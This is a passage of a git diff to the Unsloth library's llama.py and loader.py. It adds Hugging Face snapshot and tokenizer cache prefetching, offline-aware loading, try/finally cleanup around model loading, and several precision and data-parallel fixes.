+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Tokenizer always loads in-process. Resolve the cache_dir the tokenizer load will actually
+        # use, mirroring load_correct_tokenizer: without an explicit cache_dir, Colab/Kaggle route to
+        # a special tokenizer cache (huggingface_tokenizers_cache / Kaggle tmp), NOT the HF-default
+        # cache the base snapshot warmed. So the base warm does not cover the tokenizer there.
+        from ..tokenizer_utils import (
+            IS_COLAB_ENVIRONMENT,
+            IS_KAGGLE_ENVIRONMENT,
+            KAGGLE_TMP,
+        )
+
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _tokenizer_cache_dir = kwargs.get("cache_dir")
+        if _tokenizer_cache_dir is None:
+            if IS_COLAB_ENVIRONMENT:
+                _tokenizer_cache_dir = "huggingface_tokenizers_cache"
+            elif IS_KAGGLE_ENVIRONMENT:
+                _tokenizer_cache_dir = os.path.join(KAGGLE_TMP, "huggingface_tokenizers_cache")
+        # Warm the tokenizer repo into the cache the load will use whenever the base warm did not
+        # cover it: a distinct tokenizer repo, fast_inference (base warm skipped), or a tokenizer
+        # cache_dir that differs from the base-warm cache_dir (Colab/Kaggle special cache).
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and (
+                _tokenizer_repo != model_name
+                or fast_inference
+                or _tokenizer_cache_dir != kwargs.get("cache_dir")
+            )
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = _tokenizer_cache_dir,
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         has_rope_scaling = False
         try:
             with open(inspect.getfile(model_function), "r", encoding = "utf-8") as file:
@@ -2525,147 +2612,155 @@ class FastLlamaModel:
         kwargs = add_dtype_kwargs(dtype, kwargs)
 
         raise_handler = RaiseUninitialized()
-        if num_labels is not None:
-            # Transformers 5.x @strict config classes reject unexpected kwargs
-            # like num_labels and max_position_embeddings. Set on the config
-            # object directly and pass config= instead.
-            set_task_config_attr(model_config, "num_labels", num_labels)
-            if max_position_embeddings is not None:
-                model_config.max_position_embeddings = max_position_embeddings
-            # Pop config-level attrs that would be rejected by @strict model init
-            for _cfg_key in ("id2label", "label2id", "rope_scaling"):
-                _cfg_val = kwargs.pop(_cfg_key, None)
-                if _cfg_val is not None:
-                    if _cfg_key in ("id2label", "label2id"):
-                        set_task_config_attr(model_config, _cfg_key, _cfg_val)
-                    else:
-                        setattr(model_config, _cfg_key, _cfg_val)
-            model = AutoModelForSequenceClassification.from_pretrained(
-                model_name,
-                config = model_config,
-                device_map = device_map,
-                # torch_dtype             = dtype, # transformers changed torch_dtype to dtype
-                # quantization_config     = bnb_config,
-                token = token,
-                trust_remote_code = trust_remote_code,
-                attn_implementation = preferred_attn_impl,
-                **kwargs,
-            )
-            # Defensive: ensure the task head is in a floating dtype, guarding
-            # against any path leaving it as integer storage. See unslothai/unsloth#5027.
-            for _head_name in ("score", "classifier", "qa_outputs"):
-                _head = getattr(model, _head_name, None)
-                if (
-                    _head is not None
-                    and hasattr(_head, "weight")
-                    and not _head.weight.is_floating_point()
-                ):
-                    _head.to(dtype)
-            # Attach dispatch hooks for bnb multi-device loads.
-            from unsloth.models.vision import _attach_bnb_multidevice_hooks
-
-            _attach_bnb_multidevice_hooks(
-                model,
-                load_in_4bit = load_in_4bit,
-                load_in_8bit = kwargs.get("load_in_8bit", False),
-                offload_embedding = False,
-                fast_inference = fast_inference,
-            )
-        elif not fast_inference:
-            if user_config is not None:
-                # Transformers 5.x @strict model init rejects extra kwargs next
-                # to config=; set the override on the config and pass the single
-                # config object through so user overrides reach the actual load.
+        try:
+            if num_labels is not None:
+                # Transformers 5.x @strict config classes reject unexpected kwargs
+                # like num_labels and max_position_embeddings. Set on the config
+                # object directly and pass config= instead.
+                set_task_config_attr(model_config, "num_labels", num_labels)
                 if max_position_embeddings is not None:
                     model_config.max_position_embeddings = max_position_embeddings
-                model = AutoModelForCausalLM.from_pretrained(
+                # Pop config-level attrs that would be rejected by @strict model init
+                for _cfg_key in ("id2label", "label2id", "rope_scaling"):
+                    _cfg_val = kwargs.pop(_cfg_key, None)
+                    if _cfg_val is not None:
+                        if _cfg_key in ("id2label", "label2id"):
+                            set_task_config_attr(model_config, _cfg_key, _cfg_val)
+                        else:
+                            setattr(model_config, _cfg_key, _cfg_val)
+                model = AutoModelForSequenceClassification.from_pretrained(
                     model_name,
                     config = model_config,
                     device_map = device_map,
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                    attn_implementation = preferred_attn_impl,
-                    **kwargs,
-                )
-            else:
-                model = AutoModelForCausalLM.from_pretrained(
-                    model_name,
-                    device_map = device_map,
                     # torch_dtype             = dtype, # transformers changed torch_dtype to dtype
                     # quantization_config     = bnb_config,
                     token = token,
-                    max_position_embeddings = max_position_embeddings,
                     trust_remote_code = trust_remote_code,
                     attn_implementation = preferred_attn_impl,
                     **kwargs,
                 )
-            # Attach dispatch hooks for bnb multi-device loads.
-            from unsloth.models.vision import _attach_bnb_multidevice_hooks
+                # Defensive: ensure the task head is in a floating dtype, guarding
+                # against any path leaving it as integer storage. See unslothai/unsloth#5027.
+                for _head_name in ("score", "classifier", "qa_outputs"):
+                    _head = getattr(model, _head_name, None)
+                    if (
+                        _head is not None
+                        and hasattr(_head, "weight")
+                        and not _head.weight.is_floating_point()
+                    ):
+                        _head.to(dtype)
+                # Attach dispatch hooks for bnb multi-device loads.
+                from unsloth.models.vision import _attach_bnb_multidevice_hooks
 
-            _attach_bnb_multidevice_hooks(
-                model,
-                load_in_4bit = load_in_4bit,
-                load_in_8bit = kwargs.get("load_in_8bit", False),
-                offload_embedding = False,
-                fast_inference = False,
-            )
-            model.fast_generate = make_fast_generate_wrapper(model.generate)
-            model.fast_generate_batches = None
-        else:
-            from unsloth_zoo.vllm_utils import (
-                load_vllm,
-                get_vllm_state_dict,
-                convert_vllm_to_huggingface,
-                generate_batches,
-            )
+                _attach_bnb_multidevice_hooks(
+                    model,
+                    load_in_4bit = load_in_4bit,
+                    load_in_8bit = kwargs.get("load_in_8bit", False),
+                    offload_embedding = False,
+                    fast_inference = fast_inference,
+                )
+            elif not fast_inference:
+                if user_config is not None:
+                    # Transformers 5.x @strict model init rejects extra kwargs next
+                    # to config=; set the override on the config and pass the single
+                    # config object through so user overrides reach the actual load.
+                    if max_position_embeddings is not None:
+                        model_config.max_position_embeddings = max_position_embeddings
+                    model = AutoModelForCausalLM.from_pretrained(
+                        model_name,
+                        config = model_config,
+                        device_map = device_map,
+                        token = token,
+                        trust_remote_code = trust_remote_code,
+                        attn_implementation = preferred_attn_impl,
+                        **kwargs,
+                    )
+                else:
+                    model = AutoModelForCausalLM.from_pretrained(
+                        model_name,
+                        device_map = device_map,
+                        # torch_dtype             = dtype, # transformers changed torch_dtype to dtype
+                        # quantization_config     = bnb_config,
+                        token = token,
+                        max_position_embeddings = max_position_embeddings,
+                        trust_remote_code = trust_remote_code,
+                        attn_implementation = preferred_attn_impl,
+                        **kwargs,
+                    )
+                # Attach dispatch hooks for bnb multi-device loads.
+                from unsloth.models.vision import _attach_bnb_multidevice_hooks
 
-            fp8_mode = None
-            if load_in_fp8 != False:
-                fp8_mode = _get_fp8_mode_and_check_settings(
-                    load_in_fp8,
-                    fast_inference,
+                _attach_bnb_multidevice_hooks(
+                    model,
+                    load_in_4bit = load_in_4bit,
+                    load_in_8bit = kwargs.get("load_in_8bit", False),
+                    offload_embedding = False,
+                    fast_inference = False,
+                )
+                model.fast_generate = make_fast_generate_wrapper(model.generate)
+                model.fast_generate_batches = None
+            else:
+                from unsloth_zoo.vllm_utils import (
+                    load_vllm,
+                    get_vllm_state_dict,
+                    convert_vllm_to_huggingface,
+                    generate_batches,
                 )
 
-            allowed_args = inspect.getfullargspec(load_vllm).args
-            load_vllm_kwargs = dict(
-                model_name = model_name,
-                config = model_config,
-                gpu_memory_utilization = gpu_memory_utilization,
-                max_seq_length = max_seq_length,
-                dtype = dtype,
-                float8_kv_cache = float8_kv_cache,
-                enable_lora = True,
-                max_lora_rank = max_lora_rank,
-                disable_log_stats = disable_log_stats,
-                use_bitsandbytes = load_in_4bit,
-                unsloth_vllm_standby = unsloth_vllm_standby,
-                fp8_mode = fp8_mode,
-            )
-            for allowed_arg in allowed_args:
-                if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
-                    load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
-            pass
+                fp8_mode = None
+                if load_in_fp8 != False:
+                    fp8_mode = _get_fp8_mode_and_check_settings(
+                        load_in_fp8,
+                        fast_inference,
+                    )
 
-            # Load vLLM first
-            llm = load_vllm(**load_vllm_kwargs)
+                allowed_args = inspect.getfullargspec(load_vllm).args
+                load_vllm_kwargs = dict(
+                    model_name = model_name,
+                    config = model_config,
+                    gpu_memory_utilization = gpu_memory_utilization,
+                    max_seq_length = max_seq_length,
+                    dtype = dtype,
+                    float8_kv_cache = float8_kv_cache,
+                    enable_lora = True,
+                    max_lora_rank = max_lora_rank,
+                    disable_log_stats = disable_log_stats,
+                    use_bitsandbytes = load_in_4bit,
+                    unsloth_vllm_standby = unsloth_vllm_standby,
+                    fp8_mode = fp8_mode,
+                )
+                for allowed_arg in allowed_args:
+                    if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
+                        load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
+                pass
 
-            # Convert to HF format
-            _, quant_state_dict = get_vllm_state_dict(
-                llm,
-                config = model_config,
-                load_in_fp8 = load_in_fp8,
-            )
-            model = convert_vllm_to_huggingface(quant_state_dict, model_config, dtype, bnb_config)
-            model.vllm_engine = llm
-            llm.shared_weights = True
-            model.fast_generate = model.vllm_engine.generate
-            model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
-        raise_handler.remove()
-        # Return old flag
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
+                # Load vLLM first
+                llm = load_vllm(**load_vllm_kwargs)
+
+                # Convert to HF format
+                _, quant_state_dict = get_vllm_state_dict(
+                    llm,
+                    config = model_config,
+                    load_in_fp8 = load_in_fp8,
+                )
+                model = convert_vllm_to_huggingface(
+                    quant_state_dict, model_config, dtype, bnb_config
+                )
+                model.vllm_engine = llm
+                llm.shared_weights = True
+                model.fast_generate = model.vllm_engine.generate
+                model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
+        finally:
+            raise_handler.remove()
+            # Return old flag
+            os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
 
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
+        # Route the tokenizer load to the custom cache_dir the prefetch warmed.
+        _tokenizer_cache_kwargs = {}
+        if kwargs.get("cache_dir") is not None:
+            _tokenizer_cache_kwargs["cache_dir"] = kwargs["cache_dir"]
         tokenizer = load_correct_tokenizer(
             tokenizer_name = tokenizer_name,
             model_max_length = max_position_embeddings,
@@ -2673,6 +2768,7 @@ class FastLlamaModel:
             token = token,
             trust_remote_code = trust_remote_code,
             fix_tokenizer = fix_tokenizer,
+            **_tokenizer_cache_kwargs,
         )
 
         model, tokenizer = patch_tokenizer(model, tokenizer)
@@ -2799,6 +2895,7 @@ class FastLlamaModel:
                 model_max_length = max_position_embeddings,
                 padding_side = "right",
                 token = token,
+                cache_dir = kwargs.get("cache_dir"),
             )
         patch_saving_functions(tokenizer)
 
@@ -2826,13 +2923,11 @@ class FastLlamaModel:
         internal_model = model
         while hasattr(internal_model, "model"):
             internal_model._saved_temp_tokenizer = tokenizer
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            internal_model.is_loaded_in_8bit = True
 
             internal_model = internal_model.model
         internal_model._saved_temp_tokenizer = tokenizer
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        internal_model.is_loaded_in_8bit = True
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model)
 
         # For transformers > 4.47.1, we need to add rotary_emb to all attention layers
         if IS_ATTENTION_REFACTOR or hasattr(model.model, "rotary_emb"):
@@ -2931,6 +3026,7 @@ class FastLlamaModel:
                 ("finetune_language_layers", True),
                 ("finetune_attention_modules", True),
                 ("finetune_mlp_modules", True),
+                ("finetune_audio_layers", False),
             ):
                 if peft_arg not in kwargs:
                     kwargs[peft_arg] = flag
@@ -3042,6 +3138,10 @@ class FastLlamaModel:
                 # Pre-wrapped PEFT model passes through here; still arm the detector so an RL
                 # trainer can reset a compile cache poisoned by a pre-train forward.
                 _unsloth_install_pretrain_detector(model)
+                # This branch returns before patch_peft_model, so record here too;
+                # apply_unsloth_gradient_checkpointing above already re-patched global state to match (#4735).
+                model._unsloth_gradient_checkpointing = use_gradient_checkpointing
+                model = _exclude_rope_inv_freq_from_ddp(model)
                 return model
             else:
                 raise TypeError(
@@ -3371,13 +3471,11 @@ class FastLlamaModel:
         while hasattr(internal_model, "model"):
             if hasattr(internal_model, "_saved_temp_tokenizer"):
                 internal_model._saved_temp_tokenizer.padding_side = "right"
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            internal_model.is_loaded_in_8bit = True
             internal_model = internal_model.model
         if hasattr(internal_model, "_saved_temp_tokenizer"):
             internal_model._saved_temp_tokenizer.padding_side = "right"
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        internal_model.is_loaded_in_8bit = True
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model)
 
         # Clear deleted GPU items
         for _ in range(3):
@@ -3397,10 +3495,16 @@ class FastLlamaModel:
         # Detect a stray pre-train forward so train() can drop the torch.compile
         # graph cache it would otherwise poison (see prepare_for_training_mode).
         _unsloth_install_pretrain_detector(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model
 
     @staticmethod
     def patch_peft_model(model, use_gradient_checkpointing = "unsloth"):
+        # Persist the effective GC mode so the trainer restores it verbatim: for_inference()
+        # clears the module flags every GRPO step, and a plain TrainingArguments defaults it to
+        # False, which would otherwise silently disable it at train time (#4735). Recorded here,
+        # not in get_peft_model, so adapters loaded via loader.py's from_pretrained path are covered.
+        model._unsloth_gradient_checkpointing = use_gradient_checkpointing
         if os.environ.get("UNSLOTH_USE_NEW_MODEL", "0") == "1":
             return FastBaseModel.patch_peft_model(
                 model = model,
@@ -3730,4 +3834,17 @@ class FastLlamaModel:
 
 from .rl import PatchFastRL
 
+# Auto-enable grouped-GEMM MoE (tf<5 ModuleList experts) on built / PEFT'd models. Wrap the
+# loader leaves before PatchFastRL so downstream patchers see the wrapped versions. Guarded.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastLlamaModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.from_pretrained)
+    )
+    FastLlamaModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.get_peft_model)
+    )
+except Exception:
+    pass
+
 PatchFastRL(FastLanguageModel = FastLlamaModel)
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index f629899f0c..13342157b0 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -21,6 +21,10 @@ from ._utils import (
     USE_MODELSCOPE,
     get_transformers_model_type,
     hf_login,
+    # Single source of truth is _utils.py; re-exported here so callers doing
+    # `from unsloth.models.loader import DISABLE_SDPA_MODEL_NAMES` keep working and so
+    # _is_sdpa_excluded (in _utils) can honor it without a loader -> _utils cycle.
+    DISABLE_SDPA_MODEL_NAMES,
 )
 from .granite import FastGraniteModel
 from .llama import FastLlamaModel, logger
@@ -33,11 +37,15 @@ from transformers import AutoConfig
 from transformers import __version__ as transformers_version
 from peft import PeftConfig, PeftModel
 from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
     _get_fp8_mode_and_check_settings,
     _offline_quantize_to_fp8,
     _tag_model_with_fp8_torchao_config,
     get_model_name,
     prepare_device_map,
+    _offline_aware_load,
+    _resolve_checkpoint_tokenizer_name,
+    _is_offline_related_error,
 )
 import os, contextlib, sys
 
@@ -102,24 +110,31 @@ from ._utils import (
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
     set_task_config_attr,
+    maybe_prefetch_hf_snapshot,
 )
 
-# Single source of truth is unsloth_zoo.model_lists. Re-exported so callers
-# doing `from unsloth.models.loader import FORCE_FLOAT32` keep working.
-# Fallback list mirrors zoo for users who upgrade unsloth without upgrading
-# unsloth_zoo (so this module never fails at import).
+# Source of truth is unsloth_zoo.model_lists. Re-exported so callers doing
+# `from unsloth.models.loader import FORCE_FLOAT32` keep working. The fallback
+# list is also unioned in so a newer unsloth still forces float32 for these
+# archs when paired with an older unsloth_zoo that predates them (upgrade skew).
+_FORCE_FLOAT32_FALLBACK = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
+    "gemma3n",
+    "gemma4",  # Gemma4 (gemma4 / gemma4_text): float16 NaNs grad norms in the backward
+    "glm4_moe",  # GLM-4.x MoE (glm4_moe / glm4_moe_lite): float16 NaNs grad norms
+    "gpt_oss",
+    "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
+    "qwen3_moe",  # Qwen3-MoE (Qwen3-30B-A3B): float16 NaNs grad norms in the backward
+]
 try:
-    from unsloth_zoo import FORCE_FLOAT32  # noqa: F401
+    from unsloth_zoo import FORCE_FLOAT32 as _ZOO_FORCE_FLOAT32
+    FORCE_FLOAT32 = list(_ZOO_FORCE_FLOAT32)
 except ImportError:
-    global FORCE_FLOAT32
-    # Forces float32 precision since float16 goes to infinity
-    FORCE_FLOAT32 = [
-        "gemma3,",  # Add comma bc gemma3 will match gemma3n
-        "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
-        "gemma3n",
-        "gpt_oss",
-        "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
-    ]
+    FORCE_FLOAT32 = []
+for _mt in _FORCE_FLOAT32_FALLBACK:
+    if not any(_mt in _entry for _entry in FORCE_FLOAT32):
+        FORCE_FLOAT32.append(_mt)
 
 global DISABLE_COMPILE_MODEL_NAMES
 # Must be alphabetically sorted for each entry
@@ -191,13 +206,44 @@ DISABLE_COMPILE_MODEL_NAMES = [
     "granite,llava_next",  # Granite-vision 3
 ]
 
-global DISABLE_SDPA_MODEL_NAMES
-# Disables some SDPA modules since it's wrong
-DISABLE_SDPA_MODEL_NAMES = [
-    "gemma3,",  # Add comma bc gemma3 will match gemma3n
-    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
-    "gpt_oss",
-]
+# Architectures with gated-deltanet (linear attention) layers. Unsloth bundles the
+# flash-linear-attention Triton kernels (unsloth_zoo/_vendored/fla), so no install is
+# needed; transformers uses the much slower pure PyTorch path only when they can't be enabled.
+FLA_MODEL_TYPE_PREFIXES = ("qwen3_next", "qwen3_5", "kimi_linear", "olmo_hybrid")
+_fla_advised = False
+
+
+def _maybe_advise_fla_install(model_types):
+    """One-time note when a gated-deltanet model loads without the fast kernels.
+
+    The kernels ship with Unsloth (no install needed); this fires only when they
+    could not be enabled on this platform (e.g. no CUDA, torch < 2.7 or
+    triton < 3.3), i.e. exactly when transformers uses the slow pure PyTorch path.
+    """
+    global _fla_advised
+    if _fla_advised:
+        return
+    if model_types is None:
+        return
+    if isinstance(model_types, str):
+        model_types = [model_types]  # a lone string would otherwise iterate chars
+    try:
+        if not any(
+            isinstance(t, str) and t.startswith(FLA_MODEL_TYPE_PREFIXES) for t in model_types
+        ):
+            return
+        from transformers.utils.import_utils import is_flash_linear_attention_available
+        if is_flash_linear_attention_available():
+            return  # bundled (or user-installed) fast kernels are active
+    except Exception:
+        return
+    _fla_advised = True
+    print(
+        "Unsloth: This model uses gated-deltanet linear attention layers. Unsloth\n"
+        "bundles the flash-linear-attention kernels, but they could not be enabled\n"
+        "on this setup (they need CUDA with torch >= 2.7 and triton >= 3.3), so\n"
+        "transformers will use a slower pure PyTorch path."
+    )
 
 
 def _fix_rope_inv_freq(model):
@@ -223,14 +269,18 @@ def _fix_rope_inv_freq(model):
             and hasattr(module, "_apply_inv_freq_scaling")
             and hasattr(module, "multi_gpu_cos_cached")
         ):
-            inv_freq = 1.0 / (
-                module.base
-                ** (
-                    torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
-                    / module.dim
+            if hasattr(module, "_unsloth_recompute_inv_freq"):
+                # Restore config scaling (llama3/yarn); unscaled here broke v5.
+                inv_freq = module._unsloth_recompute_inv_freq()
+            else:
+                inv_freq = 1.0 / (
+                    module.base
+                    ** (
+                        torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
+                        / module.dim
+                    )
                 )
-            )
-            inv_freq = module._apply_inv_freq_scaling(inv_freq)
+                inv_freq = module._apply_inv_freq_scaling(inv_freq)
             module.inv_freq = inv_freq
             for device_idx in range(len(module.multi_gpu_cos_cached)):
                 if module.multi_gpu_cos_cached[device_idx] is not None:
@@ -284,6 +334,7 @@ def _fix_rope_inv_freq(model):
 
 class FastLanguageModel(FastLlamaModel):
     @staticmethod
+    @_offline_aware_load
     def from_pretrained(
         model_name = "unsloth/Llama-3.2-1B-Instruct",
         max_seq_length = 2048,
@@ -357,16 +408,7 @@ class FastLanguageModel(FastLlamaModel):
             if is_dist:
                 device_map = distributed_device_map
 
-        # Honour offline env vars BEFORE FastModel delegation so 8bit /
-        # full-finetuning / qat paths also receive local_files_only.
-        if not kwargs.get("local_files_only", False):
-            _offline = {"1", "true", "yes", "on"}
-            if (
-                os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
-                or os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
-            ):
-                kwargs["local_files_only"] = True
-
+        # @_offline_aware_load already forced offline when needed; delegations inherit it.
         if load_in_8bit or full_finetuning or qat_scheme is not None:
             return FastModel.from_pretrained(
                 model_name = model_name,
@@ -473,8 +515,10 @@ class FastLanguageModel(FastLlamaModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -496,6 +540,8 @@ class FastLanguageModel(FastLlamaModel):
 
         autoconfig_error = None
         peft_error = None
+        autoconfig_exc = None
+        peft_exc = None
         model_config = None
         peft_config = None
         local_files_only = kwargs.get("local_files_only", False)
@@ -513,6 +559,7 @@ class FastLanguageModel(FastLlamaModel):
             raise
         except Exception as error:
             autoconfig_error = str(error)
+            autoconfig_exc = error
             if "architecture" in autoconfig_error:
                 if "qwen3_5" in autoconfig_error:
                     raise ImportError(
@@ -539,6 +586,7 @@ class FastLanguageModel(FastLlamaModel):
             raise
         except Exception as error:
             peft_error = str(error)
+            peft_exc = error
             if "architecture" in peft_error:
                 raise ValueError(
                     f"`{model_name}` is not supported yet in `transformers=={transformers_version}`.\n"
@@ -557,6 +605,34 @@ class FastLanguageModel(FastLlamaModel):
                 "We must only allow one config file.\n"
                 "Please separate the LoRA and base models to 2 repos."
             )
+        if not is_model and not is_peft:
+            error = autoconfig_error if autoconfig_error is not None else peft_error
+            # Old transformers version
+            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
+                raise ImportError(
+                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
+                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
+                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
+                    f"to obtain the latest transformers build, then restart this session."
+                )
+            # Create a combined error message showing both failures
+            combined_error = (
+                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
+                f"AutoConfig error: {autoconfig_error}\n\n"
+                f"PeftConfig error: {peft_error}\n\n"
+            )
+            # Chain an offline-related cause if either probe had one, so @_offline_aware_load
+            # still retries from cache (e.g. adapter repo: permanent AutoConfig 404 + transient PeftConfig).
+            _cause = next(
+                (
+                    e
+                    for e in (autoconfig_exc, peft_exc)
+                    if e is not None and _is_offline_related_error(e)
+                ),
+                autoconfig_exc or peft_exc,
+            )
+            raise RuntimeError(combined_error) from _cause
+
         model_types = get_transformers_model_type(
             peft_config if peft_config is not None else model_config,
             trust_remote_code = trust_remote_code,
@@ -582,24 +658,6 @@ class FastLanguageModel(FastLlamaModel):
                 # definitely exist -- no need for an extra HfFileSystem network call.
                 both_exist = True
 
-        if not is_model and not is_peft:
-            error = autoconfig_error if autoconfig_error is not None else peft_error
-            # Old transformers version
-            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
-                raise ImportError(
-                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
-                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
-                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
-                    f"to obtain the latest transformers build, then restart this session."
-                )
-            # Create a combined error message showing both failures
-            combined_error = (
-                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
-                f"AutoConfig error: {autoconfig_error}\n\n"
-                f"PeftConfig error: {peft_error}\n\n"
-            )
-            raise RuntimeError(combined_error)
-
         # Get base model for PEFT:
         if is_peft:
             # Check base model again for PEFT
@@ -618,8 +676,10 @@ class FastLanguageModel(FastLlamaModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -755,15 +815,8 @@ class FastLanguageModel(FastLlamaModel):
             use_gradient_checkpointing, max_seq_length, dtype
         )
 
-        # Check if this is local model since the tokenizer gets overwritten
-        if (
-            os.path.exists(os.path.join(old_model_name, "tokenizer_config.json"))
-            and os.path.exists(os.path.join(old_model_name, "tokenizer.json"))
-            and os.path.exists(os.path.join(old_model_name, "special_tokens_map.json"))
-        ):
-            tokenizer_name = old_model_name
-        else:
-            tokenizer_name = kwargs.pop("tokenizer_name", None)
+        # Keep the local checkpoint dir as tokenizer when self-sufficient (see _resolve_checkpoint_tokenizer_name).
+        tokenizer_name = _resolve_checkpoint_tokenizer_name(old_model_name, kwargs)
 
         if fast_inference:
             fast_inference, model_name = fast_inference_setup(model_name, model_config)
@@ -862,16 +915,49 @@ class FastLanguageModel(FastLlamaModel):
         if is_peft:
             # From https://github.com/huggingface/peft/issues/184
             # Now add PEFT adapters
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             model = PeftModel.from_pretrained(
                 model,
                 old_model_name,
                 token = token,
                 revision = revision,
+                local_files_only = local_files_only,
                 is_trainable = True,
                 trust_remote_code = trust_remote_code,
+                **peft_load_kwargs,
             )
             # Patch it as well!
             model = dispatch_model.patch_peft_model(model, use_gradient_checkpointing)
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Patch Tiled MLP
         # to turn on set UNSLOTH_TILED_MLP to "arctic", "target", or "target:{GB}""
@@ -882,6 +968,7 @@ class FastLanguageModel(FastLlamaModel):
             patch_tiled_mlp(model, patch_options_str = patch_tiled_mlp_choice)
 
         model = _fix_rope_inv_freq(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model, tokenizer
 
 
@@ -928,6 +1015,7 @@ class FastModel(FastBaseModel):
         return FastBaseModel.for_training(model, use_gradient_checkpointing)
 
     @staticmethod
+    @_offline_aware_load
     def from_pretrained(
